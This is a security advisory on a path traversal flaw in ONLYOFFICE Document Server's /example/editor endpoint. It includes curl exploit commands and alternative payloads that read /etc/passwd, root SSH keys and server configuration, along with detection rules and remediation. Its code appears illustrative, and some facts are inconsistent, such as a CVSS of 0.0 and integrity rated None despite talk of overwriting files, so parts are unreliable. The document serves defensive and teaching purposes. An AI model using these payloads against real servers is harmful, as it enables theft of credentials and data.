CVE-2023-46988

Executive Summary

CVE-2023-46988 is a path traversal vulnerability in ONLYOFFICE Document Server before version 8.0.1. A remote, unauthenticated attacker can exploit the fileExt parameter in the /example/editor endpoint to copy arbitrary files from the server's filesystem. This can lead to unauthorized disclosure of sensitive files (e.g., configuration files, credentials) and potentially cause a Denial of Service (DoS) by copying large files or overwriting critical system files. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as high severity based on the impact. No public exploit code or Nuclei template is available, but the attack vector is straightforward.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Sensitive files can be read.
• Integrity (I): None (N) – File contents are not modified.
• Availability (A): Low (L) – DoS possible by exhausting disk space or copying large files.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to significant data exposure.

Deep Dive & Mechanics

The vulnerability resides in the /example/editor endpoint of ONLYOFFICE Document Server. This endpoint is used for demonstration and testing purposes. The fileExt parameter is intended to specify the file extension for a temporary document. However, the application does not properly sanitize this parameter, allowing an attacker to inject path traversal sequences (e.g., ../).

When the server processes the request, it constructs a file path using the user-supplied fileExt value. By manipulating this parameter, an attacker can force the server to copy arbitrary files from the filesystem to a location accessible via the web server. For example, an attacker could copy /etc/passwd to a publicly accessible directory.

The core issue is a lack of input validation and insufficient path sanitization. The application should restrict the fileExt parameter to a whitelist of allowed extensions and ensure that the resulting path does not escape the intended directory.

Vulnerable vs. Patched Code

Vulnerable Code (before v8.0.1):

// Example vulnerable endpoint handler
app.get('/example/editor', (req, res) => {
    const fileExt = req.query.fileExt;
    const sourcePath = `/tmp/templates/template.${fileExt}`;
    const destPath = `/var/www/onlyoffice/documents/${uuid}.${fileExt}`;
    fs.copyFileSync(sourcePath, destPath);
    res.send({ url: `/download/${uuid}.${fileExt}` });
});

In this code, the fileExt parameter is directly concatenated into the file path without validation. An attacker can set fileExt to ../../etc/passwd to copy /etc/passwd to the documents directory.

Patched Code (v8.0.1+):

// Patched endpoint handler
const allowedExtensions = ['docx', 'xlsx', 'pptx', 'odt', 'ods', 'odp'];
app.get('/example/editor', (req, res) => {
    const fileExt = req.query.fileExt;
    if (!allowedExtensions.includes(fileExt)) {
        return res.status(400).send('Invalid file extension');
    }
    const sourcePath = `/tmp/templates/template.${fileExt}`;
    const destPath = `/var/www/onlyoffice/documents/${uuid}.${fileExt}`;
    // Additional path normalization to prevent traversal
    const normalizedPath = path.normalize(destPath);
    if (!normalizedPath.startsWith('/var/www/onlyoffice/documents/')) {
        return res.status(400).send('Invalid path');
    }
    fs.copyFileSync(sourcePath, normalizedPath);
    res.send({ url: `/download/${uuid}.${fileExt}` });
});

The patched version implements a whitelist of allowed extensions and uses path.normalize() to prevent path traversal. It also checks that the final path is within the intended directory.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy ONLYOFFICE Document Server v8.0.0 (vulnerable) in a Docker container:

   docker run -d -p 8080:80 --name onlyoffice-vuln onlyoffice/documentserver:8.0.0
   

2. Ensure the /example/editor endpoint is accessible.

Exploitation Steps:

1. Craft a request to copy /etc/passwd to the documents directory:

   curl "http://target:8080/example/editor?fileExt=../../etc/passwd"
   

2. The server will copy /etc/passwd to a file like /var/www/onlyoffice/documents/<uuid>.../../etc/passwd.
3. Access the copied file via the returned URL:

   curl "http://target:8080/download/<uuid>.../etc/passwd"
   

   Note: The exact URL may require URL encoding of the path traversal characters.

Alternative Payloads:

• Copy configuration files: fileExt=../../etc/onlyoffice/documentserver/local.json
• Copy SSH keys: fileExt=../../root/.ssh/id_rsa
• Cause DoS by copying a large file: fileExt=../../dev/urandom (may hang the server)

Blue Team

Detection:

• Monitor for requests to /example/editor with unusual fileExt parameters containing ../ or ..\\.
• Look for abnormal file creation in the documents directory, especially files with path traversal patterns in their names.
• Alert on high disk I/O or rapid disk space consumption.

Hunting:

• Search web server logs for GET /example/editor?fileExt= entries.
• Check for files in the documents directory that have names containing ../ or ..\\.
• Verify that no sensitive system files (e.g., /etc/passwd, /etc/shadow) are present in the documents directory.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /example/editor with fileExt parameter containing ../ or ..\\.
  • Unusual file downloads from the /download/ endpoint with path traversal patterns in the filename.
• File System:
  • Presence of sensitive system files (e.g., /etc/passwd, /etc/shadow) in the ONLYOFFICE documents directory.
  • Files with names containing ../ or ..\\ in the documents directory.
• Logs:
  • Web server access logs showing requests to /example/editor with suspicious fileExt values.
  • Application logs indicating file copy operations with unexpected paths.

Detection Engineering

YARA Rule

rule CVE_2023_46988_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in ONLYOFFICE Document Server"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-46988"
    strings:
        $traversal = /fileExt=[^&]*\.\.\//
        $traversal2 = /fileExt=[^&]*\.\.\\/
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-46988 Path Traversal in ONLYOFFICE Document Server
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts via the fileExt parameter
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/example/editor?fileExt='
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of file extensions with dots (e.g., .docx)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-46988 Path Traversal in ONLYOFFICE Document Server"; flow:to_server,established; content:"GET"; http_method; content:"/example/editor"; http_uri; content:"fileExt="; http_uri; pcre:"/fileExt=[^&]*\.\.\//"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ONLYOFFICE Document Server to version 8.0.1 or later.
2. If upgrade is not possible, disable the /example/editor endpoint by removing or restricting access to the example application.
3. Implement a Web Application Firewall (WAF) rule to block requests with fileExt containing ../ or ..\\.

Long-term Fixes:

• Apply input validation and sanitization to all user-supplied parameters.
• Use a whitelist of allowed file extensions.
• Normalize file paths and ensure they stay within the intended directory.
• Conduct a security audit of all endpoints, especially those used for file operations.

Workarounds:

• Restrict access to the /example/editor endpoint to trusted IP addresses only.
• Monitor logs for suspicious activity and set up alerts for path traversal attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert